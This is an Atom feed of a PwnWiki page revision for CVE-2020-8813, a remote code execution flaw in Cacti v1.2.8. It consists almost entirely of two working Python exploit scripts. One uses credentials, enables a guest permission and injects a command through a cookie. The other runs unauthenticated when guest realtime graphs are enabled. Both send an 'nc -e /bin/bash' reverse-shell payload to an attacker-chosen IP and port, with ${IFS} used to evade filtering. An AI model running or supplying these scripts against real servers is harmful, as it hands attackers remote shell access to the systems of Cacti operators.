<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-8813_Cacti_v1.2.8_RCE%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2020-8813 Cacti v1.2.8 RCE漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-8813_Cacti_v1.2.8_RCE%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-8813_Cacti_v1.2.8_RCE%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-07T06:05:43Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2020-8813_Cacti_v1.2.8_RCE%E6%BC%8F%E6%B4%9E&amp;diff=1679&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP1== 需要認證 &lt;pre&gt; #!/usr/bin/python3  # Exploit Title: Cacti v1.2.8 Remote Code Execution # Date: 03/02/2020 # Exploit Author: Askar (@mohammadaskar2) # CVE: CVE-202...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-8813_Cacti_v1.2.8_RCE%E6%BC%8F%E6%B4%9E&amp;diff=1679&amp;oldid=prev"/>
		<updated>2021-04-15T05:55:15Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP1== 需要認證 &amp;lt;pre&amp;gt; #!/usr/bin/python3  # Exploit Title: Cacti v1.2.8 Remote Code Execution # Date: 03/02/2020 # Exploit Author: Askar (@mohammadaskar2) # CVE: CVE-202...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP1==&lt;br /&gt;
需要認證&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
&lt;br /&gt;
# Exploit Title: Cacti v1.2.8 Remote Code Execution&lt;br /&gt;
# Date: 03/02/2020&lt;br /&gt;
# Exploit Author: Askar (@mohammadaskar2)&lt;br /&gt;
# CVE: CVE-2020-8813&lt;br /&gt;
# Vendor Homepage: https://cacti.net/&lt;br /&gt;
# Version: v1.2.8&lt;br /&gt;
# Tested on: CentOS 7.3 / PHP 7.1.33&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
import sys&lt;br /&gt;
import warnings&lt;br /&gt;
from bs4 import BeautifulSoup&lt;br /&gt;
from urllib.parse import quote&lt;br /&gt;
&lt;br /&gt;
warnings.filterwarnings(&amp;quot;ignore&amp;quot;, category=UserWarning, module='bs4')&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) != 6:&lt;br /&gt;
    print(&amp;quot;[~] Usage : ./Cacti-exploit.py url username password ip port&amp;quot;)&lt;br /&gt;
    exit()&lt;br /&gt;
&lt;br /&gt;
url = sys.argv[1]&lt;br /&gt;
username = sys.argv[2]&lt;br /&gt;
password = sys.argv[3]&lt;br /&gt;
ip = sys.argv[4]&lt;br /&gt;
port = sys.argv[5]&lt;br /&gt;
&lt;br /&gt;
def login(token):&lt;br /&gt;
    login_info = {&lt;br /&gt;
    &amp;quot;login_username&amp;quot;: username,&lt;br /&gt;
    &amp;quot;login_password&amp;quot;: password,&lt;br /&gt;
    &amp;quot;action&amp;quot;: &amp;quot;login&amp;quot;,&lt;br /&gt;
    &amp;quot;__csrf_magic&amp;quot;: token&lt;br /&gt;
    }&lt;br /&gt;
    login_request = request.post(url+&amp;quot;/index.php&amp;quot;, login_info)&lt;br /&gt;
    login_text = login_request.text&lt;br /&gt;
    if &amp;quot;Invalid User Name/Password Please Retype&amp;quot; in login_text:&lt;br /&gt;
        return False&lt;br /&gt;
    else:&lt;br /&gt;
        return True&lt;br /&gt;
&lt;br /&gt;
def enable_guest(token):&lt;br /&gt;
    request_info = {&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;3&amp;quot;,&lt;br /&gt;
    &amp;quot;section25&amp;quot;: &amp;quot;on&amp;quot;,&lt;br /&gt;
    &amp;quot;section7&amp;quot;: &amp;quot;on&amp;quot;,&lt;br /&gt;
    &amp;quot;tab&amp;quot;: &amp;quot;realms&amp;quot;,&lt;br /&gt;
    &amp;quot;save_component_realm_perms&amp;quot;: 1,&lt;br /&gt;
    &amp;quot;action&amp;quot;: &amp;quot;save&amp;quot;,&lt;br /&gt;
    &amp;quot;__csrf_magic&amp;quot;: token&lt;br /&gt;
    }&lt;br /&gt;
    enable_request = request.post(url+&amp;quot;/user_admin.php?header=false&amp;quot;, request_info)&lt;br /&gt;
    if enable_request:&lt;br /&gt;
        return True&lt;br /&gt;
    else:&lt;br /&gt;
        return False&lt;br /&gt;
&lt;br /&gt;
def send_exploit():&lt;br /&gt;
    payload = &amp;quot;;nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s&amp;quot; % (ip, port)&lt;br /&gt;
    cookies = {'Cacti': quote(payload)}&lt;br /&gt;
    requests.get(url+&amp;quot;/graph_realtime.php?action=init&amp;quot;, cookies=cookies)&lt;br /&gt;
&lt;br /&gt;
request = requests.session()&lt;br /&gt;
print(&amp;quot;[+]Retrieving login CSRF token&amp;quot;)&lt;br /&gt;
page = request.get(url+&amp;quot;/index.php&amp;quot;)&lt;br /&gt;
html_content = page.text&lt;br /&gt;
soup = BeautifulSoup(html_content, &amp;quot;html5lib&amp;quot;)&lt;br /&gt;
token = soup.findAll('input')[0].get(&amp;quot;value&amp;quot;)&lt;br /&gt;
if token:&lt;br /&gt;
    print(&amp;quot;[+]Token Found : %s&amp;quot; % token)&lt;br /&gt;
    print(&amp;quot;[+]Sending creds ..&amp;quot;)&lt;br /&gt;
    login_status = login(token)&lt;br /&gt;
    if login_status:&lt;br /&gt;
        print(&amp;quot;[+]Successfully LoggedIn&amp;quot;)&lt;br /&gt;
        print(&amp;quot;[+]Retrieving CSRF token ..&amp;quot;)&lt;br /&gt;
        page = request.get(url+&amp;quot;/user_admin.php?action=user_edit&amp;amp;id=3&amp;amp;tab=realms&amp;quot;)&lt;br /&gt;
        html_content = page.text&lt;br /&gt;
        soup = BeautifulSoup(html_content, &amp;quot;html5lib&amp;quot;)&lt;br /&gt;
        token = soup.findAll('input')[1].get(&amp;quot;value&amp;quot;)&lt;br /&gt;
        if token:&lt;br /&gt;
            print(&amp;quot;[+]Making some noise ..&amp;quot;)&lt;br /&gt;
            guest_realtime = enable_guest(token)&lt;br /&gt;
            if guest_realtime:&lt;br /&gt;
                print(&amp;quot;[+]Sending malicous request, check your nc ;)&amp;quot;)&lt;br /&gt;
                send_exploit()&lt;br /&gt;
            else:&lt;br /&gt;
                print(&amp;quot;[-]Error while activating the malicous account&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        else:&lt;br /&gt;
            print(&amp;quot;[-] Unable to retrieve CSRF token from admin page!&amp;quot;)&lt;br /&gt;
            exit()&lt;br /&gt;
&lt;br /&gt;
    else:&lt;br /&gt;
        print(&amp;quot;[-]Cannot Login!&amp;quot;)&lt;br /&gt;
else:&lt;br /&gt;
    print(&amp;quot;[-] Unable to retrieve CSRF token!&amp;quot;)&lt;br /&gt;
    exit()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==EXP2==&lt;br /&gt;
開啟來賓實時圖查看權限則不需要認證&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
&lt;br /&gt;
# Exploit Title: Cacti v1.2.8 Unauthenticated Remote Code Execution&lt;br /&gt;
# Date: 03/02/2020&lt;br /&gt;
# Exploit Author: Askar (@mohammadaskar2)&lt;br /&gt;
# CVE: CVE-2020-8813&lt;br /&gt;
# Vendor Homepage: https://cacti.net/&lt;br /&gt;
# Version: v1.2.8&lt;br /&gt;
# Tested on: CentOS 7.3 / PHP 7.1.33&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
import sys&lt;br /&gt;
import warnings&lt;br /&gt;
from bs4 import BeautifulSoup&lt;br /&gt;
from urllib.parse import quote&lt;br /&gt;
&lt;br /&gt;
warnings.filterwarnings(&amp;quot;ignore&amp;quot;, category=UserWarning, module='bs4')&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) != 4:&lt;br /&gt;
    print(&amp;quot;[~] Usage : ./Cacti-exploit.py url ip port&amp;quot;)&lt;br /&gt;
    exit()&lt;br /&gt;
&lt;br /&gt;
url = sys.argv[1]&lt;br /&gt;
ip = sys.argv[2]&lt;br /&gt;
port = sys.argv[3]&lt;br /&gt;
&lt;br /&gt;
def send_exploit(url):&lt;br /&gt;
    payload = &amp;quot;;nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s&amp;quot; % (ip, port)&lt;br /&gt;
    cookies = {'Cacti': quote(payload)}&lt;br /&gt;
    path = url+&amp;quot;/graph_realtime.php?action=init&amp;quot;&lt;br /&gt;
    req = requests.get(path)&lt;br /&gt;
    if req.status_code == 200 and &amp;quot;poller_realtime.php&amp;quot; in req.text:&lt;br /&gt;
        print(&amp;quot;[+] File Found and Guest is enabled!&amp;quot;)&lt;br /&gt;
        print(&amp;quot;[+] Sending malicous request, check your nc ;)&amp;quot;)&lt;br /&gt;
        requests.get(path, cookies=cookies)&lt;br /&gt;
    else:&lt;br /&gt;
        print(&amp;quot;[+] Error while requesting the file!&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
send_exploit(url)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>